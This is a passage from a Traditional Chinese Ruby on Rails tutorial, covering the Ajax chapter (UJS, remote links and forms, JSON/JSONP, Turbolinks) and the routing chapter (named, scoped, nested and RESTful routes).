Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") } ~~~ 或是透過I18n的機制,在翻譯詞彙檔中編輯格式,然後使用: ~~~ I18n.l( Time.now ) I18n.l( Time.now, :format => :short ) ~~~ ## 更多線上資源 * [Rails Internationalization (I18n) API](http://guides.rubyonrails.org/i18n.html)
';

Ajax應用程式

最后更新于:2022-04-01 02:31:25

Ajax是Asynchronous JavaScript and XML的縮寫,是一種不需要重新整理頁面,透過JavaScript來與伺服器交換資料、更新網頁內容的技術。目的在於改善使用者的操作介面,提昇流暢度。它主要是透過瀏覽器提供的`XMLHttpRequestObject`來達成,不過因為跨瀏覽器的困難度,大多數人們會選擇使用JavaScript Library來處理Ajax,例如JQuery。雖然Ajax的縮寫中包括XML,但是實務上並不一定要用XML格式,事實上也已經很少人使用XML當作傳輸的格式了。總歸來說,依照Ajax使用的格式分類,有三種方式: * 向伺服器請求 HTML 片段,然後客戶端瀏覽器上的 JavaScript 再替換掉頁面上的元素 * 向伺服器請求 JavaScript 程式腳本,然後客戶端瀏覽器執行它 * 向伺服器請求 JSON 或 XML 資料格式,然後客戶端瀏覽器的 JavaScript 解析後再動作。 第一種方式非常簡單,但是限制是一次只能更新一小塊內容。Rails 預設使用第二種方式,程式撰寫容易。而第三種方式則將 JavaScript 程式都放在客戶端瀏覽器上,相較於第二種則多了解析 JSON 或 XML 的部份。以Web API的設計角度來看,與表現層無關的JSON格式是比較乾淨的,可以獲得比較好的重複使用性。 講解JavaScript和JQuery語法已經超過本書範圍,本章接下來會假設讀者已經有基本認識。身為一個Web程式設計師,不得不對JavaScript要有基本了解。 ## Unobtrusive JavaScript Rails 從 3.0 後將Ajax使用的JavaScript都改成Unobtrusive JavaScript(UJS)方式。什麼是Unobtrusive呢?用個範例來說吧,它會將超連結改成用表單DELETE送出,並且用一個提示視窗來作確認: ~~~ link_to 'Remove', event_path(1), :method => :delete, :data => { :confirm => "Sure?" } ~~~ 在Rails 3之前,會輸出: ~~~ <a onclick="if (confirm('Sure?')) { var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href;var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method'); m.setAttribute('value', 'delete'); f.appendChild(m);f.submit(); };return false;" href="/events/1">Remove</a> ~~~ 在Rails 3之後,會輸出: ~~~ <a rel="nofollow" data-confirm="Sure?" data-method="delete" class="delete" href="/events/1">Remove</a> ~~~ Unobtrusive也就是將JavaScript程式與HTML完全分開,除了可以讓HTML碼乾淨之外,也可以支援更換不同的JavaScript Library,例如把Rails內建的jQuery換成[Protytype.js](http://prototypejs.org/)或[angular.js](https://angularjs.org/)等等。 > 在Layout中有輸出一段`<%= csrf_meta_tag %>`的作用就是搭配給UJS使用的,讓JavaScript可以拿到CSRF安全驗證碼,我們會在安全一章討論到什麼是CSRF。 ### Ajax 表單 除了超連結 link_to 加上 :remote 可以變成 Ajax 之外,表單 form_for 也可以加上`:remote`變成 Ajax。 ~~~ form_for @user, :remote => true ~~~ ### Ajax 按鈕 同理於超連結 link_to,按鈕 button_to 加上`:remote => true`參數也會變成 Ajax。 除了已經看過的` :data => { :confirm => "Are you Sure?" }`之外,`disable_with`可以避免使用者連續按下送出: ~~~ button_to "Remove", user_path(@user), :data => { :disable_with => 'Removing' } ~~~ ## 第一種方式:替換 HTML 片段 編輯 app/views/events/index.html.erb 最下方加入: ~~~ <%= link_to 'Hello!', welcome_say_hello_path, :id => "ajax-load" %> <div id="content"> </div> <script> $(document).ready(function() { $('#ajax-load').click( function(){ $('#content').load( $(this).attr("href") ); return false; }); }); </script> ~~~ 如此點下超連結後,就會把回傳的HTML置入到`<div id="content">`裡面。 ## 第二種方式:使用 JavaScript 腳本 編輯 app/views/events/index.html.erb,在迴圈中間加入 ~~~ <%= link_to 'ajax show', event_path(event), :remote => true %> ~~~ 在迴圈外插入一個`<div id="event_area"></div>` 編輯 app/controllers/events_controller.rb,在 show action 中加入 ~~~ respond_to do |format| format.html format.js end ~~~ 新增 app/views/events/_event.html.erb,內容與 show.html.erb 相同 新增 app/views/events/show.js.erb,內容如下 ~~~ $('#event_area').html("<%= escape_javascript(render :partial => 'event') %>") .css({ backgroundColor: '#ffff99' }); ~~~ 瀏覽 http://localhost:3000/events > `escape_javascript()`可以縮寫為`j()`。 ## 第三種方式:使用 JSON 資料格式 JavaScript Object Notation(JSON)是一種源自JavaScript的資料格式,是目前Web應用程式之間的準標準資料交換格式,在Rails之中,每個物件都有`to_json`方法可以很方便的轉換資料格式。 ~~~ <%= link_to 'ajax show', event_path(event), :remote => true, :data => { :type => :json }, :class => "ajax_update" %> ~~~ 點擊ajax show就會送出Ajax request了,但接下來要怎麼撰寫處理JSON的程式呢? ~~~ <script> $(document).ready(function() { $('.ajax_update').on("ajax:success", function(event, data) { var event_area = $('#event_area'); event_area.html( data.name ); }); }); </script> ~~~ 當然,你也可以把HTML片段當做JSON的資料來傳遞。 另一種JSON的變形是JSONP(JSON with Padding),將JSON資料包在一個JavaScript function裡,這個做的用處是讓這個API可以跨網域被呼叫。要回傳JSONP格式,只需要在`render :json`時多一個參數是`:callback`即可 ~~~ respond_to do |format| format.json { render :json => @user.to_json, :callback => "process_user" } end ~~~ ## Turbolinks 事實上,Rails預設讓每個換頁都用上了Ajax技巧,這一招叫做[Turbolinks](https://github.com/rails/turbolinks),在預設的Gemfile中可以看到`gem "turbolinks"`,以及Layout中的`data-turbolinks-track`。 它的作用是讓每一個超連結都只用Ajax的方式將整個`body`內容替換掉,這樣換頁時就不需要重新載入`head`部份的標籤,包括JavaScript和CSS等等,目的是可以改善換頁時的速度。 要特別注意因為它沒有整頁重新載入,所以如果有放在application.js裡面的`$(document).ready`程式就變成只有第一次載入頁面才執行到,換頁時就失效了。這時候必須改成`$(document).on("page:change", function(){ ...})`。 如果想要明顯體會它的效果,可以在`app/assets/javascripts/application.js`裡面加上 ~~~ Turbolinks.enableProgressBar(); ~~~ 最後,因為它會影響JavaScript的Event Bindings行為,所以在搭配一些JavaScript比較吃重的應用程式,例如使用JavaScript Framework如Backbone、AngularJS、Ember時會移除不用,以免互相影響。 ## 更多線上資源 * [Working with JavaScript in Rails](http://guides.rubyonrails.org/working_with_javascript_in_rails.html)
';

路由(Routing)

最后更新于:2022-04-01 02:31:23

> Weeks of programming can save you hours of planning. – Unknown 不同於靜態網頁的路由是直接對應於檔案的目錄結構,一個Web開發框架會將路由功能納入其中,來獲得最大的彈性。也就是您可以指定任意URL對應到任一個Controller的Action。另一方面,我們也不在Views中直接寫死URL網址,而是透過Helper輔助方法根據你的路由設定來產生URL,這樣也可以確定該網址一定有對應的Controller和Action,不然就會出現NoMethodError找不到Helper方法的錯誤。 也就是,路由系統做幾件事情: 1\. 辨識HTTP Request的URL網址,然後對應到設定的Controller Action。 2\. 處理網址內的參數字串,例如:/users/show/123送到Users controller的show action時,會將`params[:id]` 設定為 123 3\. 辨識link_to和redirect_to的參數產生URL字串,例如 ~~~ link_to 'hola!', { :controller=> 'welcome', :action => 'say' } ~~~ 會產生 ~~~ <a href="/welcome/say">hola!</a> ~~~ Rails這麼彈性的路由功能,可以怎麼用呢?例如設計一個部落格網站,如果是沒有使用框架的CGI或PHP網頁開發,會長得這樣: ~~~ http://example.org/?p=123 ~~~ 但是如果我們想要將編號放在網址列中呢? ~~~ http://example.org/posts/123 ~~~ 或是希望根據日期: ~~~ http://example.org/posts/2011/04/21/ ~~~ 或者是根據不同作者加上文章的標籤(將關鍵字放在網址中有助於SEO): ~~~ http://example.org/ihower/posts/123-ruby-on-rails ~~~ 這些在Rails只需要修改config/routes.rb這一個路由檔案,就可以完全自由自定。讓我們看看有哪些設定方式吧: ## 一般路徑Regular Routes ~~~ get 'meetings/:id', :to => 'events#show' post 'meetings', :to => 'events#create' ~~~ 這裡的`events#show`表示指向events controller的show action。通常會簡寫成: ~~~ get 'meetings/:id' => 'events#show' ~~~ 其中有冒號`:id`的部分,會被轉成一個參數`params[:id]`傳進Controller裡。 > 注意到在routes.rb中,越上面越優先。是如果有網址同時符合多個規則,會使用最上面的規則。 ## 外卡路由 ~~~ match ':controller(/:action(/:id(.:format)))', :via => :all ~~~ 這是我們在上一章所使用的方式,也是Rails 3.0之前版本的預設方式。其中的括弧用法表示這部份可有可無,也就是上述這一行設定就包括六種路徑方式: ~~~ match '/:controller', via: :all match '/:controller/:action', via: :all match '/:controller/:action/:id', via: :all match '/:controller.:format', via: :all match '/:controller/:action.:format', via: :all match '/:controller/:action/:id.:format', via: :all ~~~ 例如,像這樣的網址`http://localhost:3000/welcome/say`便會對應到welcome controller的say action。外卡路由是一種非常簡便的對應方式。這種方式的缺點當網站的Action變多的時候,會容易讓Controller的設計變得混亂沒有規則。稍後介紹的RESTful路由則是Rails對此提出的組織路由方案。 還有,`(.format)`這一段則會讓路由可以接受`.json`、`.xml`等有副檔名的網址,並且轉成`params[:format]`參數傳進Controller裡,搭配`respond_to`而回傳不同的格式。 ## 命名路由Named Routes Named Routes可以幫助我們產生URL helper如`meetings_url`或`meetings_path`,而不需要用`{:controller => 'meetings', :action => 'index'}`的方式: ~~~ get '/meetings' => 'events#index', :as => "meetings" ~~~ 其中`:as`的部份就會產生一個`meetings_path`和`meetings_url`的Helpers,`_path`和`_url`的差別在於前者是相對路徑,後者是絕對路徑。一般來說比較常用`_path`方法,除非像是在Email信件中,才必須用`_url`提供包含Domain的完整網址。 > 雖然RESTful已經是設計Rails最常見的路徑模式,但是在一些特殊的情況、不符合CRUD模型的情結就不一定適用了,例如有多重步驟的表單(又叫作Wizard) 時,使用命名路由反而會比較簡潔,例如`step1_path, step2_path, step3_path`等。 ## Redirect 在路由中可以直接設定轉向: ~~~ get "/foo" => redirect("/bar") get "/ihower" => redirect("http://ihower.tw") ~~~ ## 設定首頁 要設定網站的首頁,請設定: ~~~ root :to => 'welcome#show' ~~~ ## HTTP動詞(Verb)限定 可以透過 :via 參數指定 HTTP Verb 動詞 ~~~ match "account/overview" => "account#overview", :via => :get match "account/setup" => "account#setup", :via => [:get, :post] match "account/overview" => "account#overview", :via => :all ~~~ 或是 ~~~ get "account/overview" => "account#overview" get "account/setup" => "account#setup" post "account/setup" => "account#setup" ~~~ ## Scope 規則 `scope`方法可以讓我們DRY我們的路由規則,將共通的controller、constraints、網址前置path和URL Helper前置名稱移到`scope`成為參數。例如 ~~~ get 'foo/meetings/:id', :to => 'events#show' post 'foo/meetings', :to => 'events#create' ~~~ 可以改寫成 ~~~ scope :controller => "events", :path => "/foo", :as => "bar" do get 'meetings/:id' => :show, :as => "meeting" post 'meetings' => ':create , :as => "meetings" end ~~~ 其中`as`會產生URL helper是`bar_meeting_url`和`bar_meetings_url`。 ### Scope Module Module參數則可以讓Controller分Module,例如 ~~~ scope :path => '/api/v1/', :module => "api_v1", :as => 'v1' do resources :projects end ~~~ 如此controller會是`ApiV1::ProjectsController`,網址如/api/v1/projects,而URL Helper如`v1_projects_path`這樣的形式。 ### 領域名稱Namespace Namespace是Scope的一種特定應用,特別適合例如後台介面,這樣就整組`controller`、網址`path`、URL Helper前置名稱`都影響到: ~~~ namespace :admin do resources :projects end ~~~ 如此controller會是`Admin::ProjectsController`,網址如/admin/projects,而URL Helper如`admin_projects_path`這樣的形式。 ## 特殊條件限定 我們可以利用`:constraints`設定一些參數限制,例如限制`:id`必須是整數。 ~~~ match "/events/show/:id" => "events#show", :constraints => {:id => /\d/} ~~~ 另外也可以限定subdomain子網域: ~~~ namespace :admin do constraints subdomain: 'admin' do resources :photos end end ~~~ 甚至可以限定IP位置: ~~~ constraints(:ip => /(^127.0.0.1$)|(^192.168.[0-9]{1,3}.[0-9]{1,3}$)/) do match "/events/show/:id" => "events#show" end ~~~ ## RESTful路由 我們在第六章介紹過RESTful路由的來龍去脈,接下來仔細看看其中的設定。 ### 複數資源 ~~~ resources :events ~~~ ### 單數資源Singular Resoruce 除了一般複數型Resources,在單數的使用情境下也可以設定成單數Resource: ~~~ resource :map ~~~ 特別之處在於那就沒有index action了,所有的URL Helper也皆為單數形式,顯示出來的網址也是單數。 > 但是Singular resource的檔案命名仍為複數,例如maps_controller.rb ### 套疊Nested Resources 當一個Resource一定會依存另一個Resource時,我們可以套疊多層的Resources,例如以下是任務一定屬於在專案底下: ~~~ resources :projects do resources :tasks end ~~~ 如此產生的URL Helper如`project_tasks_path(@project)`和`project_task_path(@project, @task)`,它的網址會如projects/123/tasks和projects/123/tasks/123。 > 實務上不建議設計超過兩層,一來是路由會太長,二來也是不必要的依賴。 ### 指定Controller resource預設採用同名的controller,我們可以改指定,例如 ~~~ resources :projects do resources :tasks, :controller => "project_tasks" end ~~~ ### 自定群集路由Collection 除了慣例中的七個Actions外,如果你需要自定群集的Action,可以這樣設定: ~~~ resources :products do collection do get :sold post :on_offer end # 或 get :sold, :on => :collection post :on_offer, :on => :collection end ~~~ 如此便會有`sold_products_path`和`on_offer_products_path`這兩個URL Helper,產生出如products/sold和products/on_offer這樣的網址。 ### 自定特定元素路由Member 如果需要自定對特定元素的Action: ~~~ resources :products do member do get :sold end # 或 get :sold, :on => :member end ~~~ 如此會有`sold_product_path(@product)`這個URL Helper,產生出如products/123/sold這樣的網址。 ### 限定部分支援 透過`except`或`only`參數,我們不一定要啟用預設的七個Resource路由,例如 ~~~ resource :events, :except => [:index, :show] resource :events, :only => :create ~~~ ### PATCH v.s. PUT PATCH是一個相對新的HTTP verb,Rails為了保持相容性這兩個HTTP verbs都會進到update action之中。而編輯表單預設則是用PATCH。在REST語意上的差別是: * PATCH 用於修改部分資料 * PUT 用來替換資料(replace) 對HTTP API設計有興趣的讀者,可以參考[http://ihower.tw/blog/archives/6483](http://ihower.tw/blog/archives/6483)一文。 ## rake routes 如果你不清楚這些路由設定到底最後的規則是什麼,你可以執行: ~~~ rake routes ~~~ 這樣就會產生出所有URL Helper、URL 網址和對應的Controller Action都列出來。 ## 常見錯誤 ### Routing Error 當URL找不到任何路由規則可以符合時,會出現這個錯誤。例如一個GET的路由,你用`button_to`送出POST,這樣就不符合規則。 ### ActionController::UrlGenerationError 當一個路由Helper的參數不夠的時候,會出現這個錯誤。例如`event_path(event)`這個方法的event參數不能是`nil`。如果你打錯成`event_path(@events)`而`@events`是個`nil`,就會出現這個錯誤。 ## 結論 透過RESTful和Named Route,我們就不再需要透過外卡路由的Hash來指定路由了。所有的路由規則都可以在routes.rb一目了然。 ## 線上參考資料 * [Rails Routing from the Outside In](http://guides.rubyonrails.org/routing.html)
';